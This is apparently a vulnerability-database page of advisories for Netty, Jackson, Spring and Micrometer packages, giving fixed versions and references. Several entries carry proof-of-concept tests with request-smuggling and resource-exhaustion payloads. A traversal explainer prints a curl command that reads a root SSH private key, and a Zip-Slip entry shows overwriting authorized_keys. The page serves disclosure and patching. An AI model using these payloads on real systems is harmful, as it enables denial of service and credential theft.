Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Improper Verification of Source of a Communication Channel due to improper validation in the validateToken function. An attacker can cause the server to treat unvalidated client addresses as validated by supplying any non-empty token bytes in an Initial packet with a spoofed source IP, resulting in the server reflecting large handshake responses to the victim without the intended anti-amplification limit.

Remediation

Upgrade io.netty:netty-codec-classes-quic to version 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insecure Default Initialization of Resource due to the lack of an enforced maximum header size limit in the default configuration of the Http3ConnectionHandler. An attacker can exhaust server memory and cause application crashes by continuously sending large or numerous HTTP/3 headers within a connection.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the decodeHuffmanEncodedLiteral function in the QPACK decoder, which allocates memory for a byte array based on a length value received from the network without verifying that sufficient data is present. An attacker can cause excessive memory allocation, leading to server slowdown, stalling, or crashing by sending specially crafted HTTP/3 HEADERS frames with malicious QPACK sections.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SslClientHelloHandler.decode() function. An attacker can cause excessive memory allocation by sending a specially crafted TLS handshake with a large handshake length value, leading to resource exhaustion and potential denial of service.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via evaluation of user-controlled Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying specially crafted SpEL expressions that trigger excessive CPU or memory consumption during expression evaluation, leading to application degradation or unavailability.

Remediation

Upgrade org.springframework:spring-expression to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via HTTP server metrics instrumentation in Micrometer. An attacker can cause denial of service by sending specially crafted HTTP requests that trigger excessive resource consumption during metrics collection and processing. Repeated requests can degrade application performance and potentially render the service unavailable.

Note: This is only exploitable if the application has one or more HTTP server instrumentations enabled with metrics collection configured.

Remediation

Upgrade io.micrometer:micrometer-core to version 1.10.0, 1.15.12, 1.16.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via caching of parsed Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying crafted user-controlled SpEL expressions that trigger unbounded growth of the expression cache. Over time, repeated evaluations can consume excessive memory, eventually leading to memory exhaustion and application unavailability.

Note: Exploitation typically requires a large number of expression evaluations, potentially millions of requests, even when reusing a single expression with dynamic inputs.

Remediation

Upgrade org.springframework:spring-core to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via multipart request processing in Spring WebFlux. An attacker can cause denial of service by sending crafted multipart requests that trigger a memory leak during request processing, leading to excessive memory consumption and potentially causing the application to become unavailable.

Note: This is only exploitable if the application uses Spring WebFlux and exposes an endpoint that accepts multipart requests.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webflux is a Spring Framework module that contains support for reactive HTTP and WebSocket clients as well as for reactive server web applications including REST, HTML browser, and WebSocket style interactions.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via static resource resolution when versioned resource support is enabled. An attacker can cause denial of service by sending crafted requests that trigger expensive resource resolution operations against filesystem-backed static resources. Repeated requests can consume server resources and keep HTTP connections occupied for extended periods, potentially degrading performance or rendering the application unavailable.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, serves static resources from the filesystem, and has versioned resource support enabled.

Remediation

Upgrade org.springframework:spring-webflux to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webflux is a Spring Framework module that contains support for reactive HTTP and WebSocket clients as well as for reactive server web applications including REST, HTML browser, and WebSocket style interactions.

Affected versions of this package are vulnerable to Direct Request ('Forced Browsing') via shared caching of static resource resolutions across resource handlers. An attacker can gain unauthorized access to protected resources when a shared cache stores a resource resolution result from a publicly accessible handler and subsequently reuses it for a protected handler serving a resource with the same name. This can cause resources that should require authentication to be served without proper access control checks.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, configures multiple resource handlers with different resource locations, protects at least one handler with authentication, and uses a shared cache for resource resolution.

Remediation

Upgrade org.springframework:spring-webflux to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webflux is a Spring Framework module that contains support for reactive HTTP and WebSocket clients as well as for reactive server web applications including REST, HTML browser, and WebSocket style interactions.

Affected versions of this package are vulnerable to Directory Traversal via static resource resolution when versioned resource support is enabled. An attacker can perform path traversal and access files outside the configured static resource locations by sending crafted requests that abuse the versioned resource resolution mechanism.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, serves static resources from the filesystem, has versioned resource support enabled, and the attacker knows or can guess metadata associated with targeted resources.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webflux to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the DnsResolveContext.AuthoritativeNameServerList#add function. An attacker can inject malicious NS and A records into the DNS cache by controlling an authoritative name server for a subdomain and providing NS records that claim authority over a parent domain, leading to unauthorized redirection or interception of DNS queries for affected domains.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to missing validation of the origin of CNAME records in DNS responses within the DnsResolveContext function. An attacker can inject unauthorized DNS records by supplying malicious DNS responses, potentially leading to cache poisoning and redirection of network traffic.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release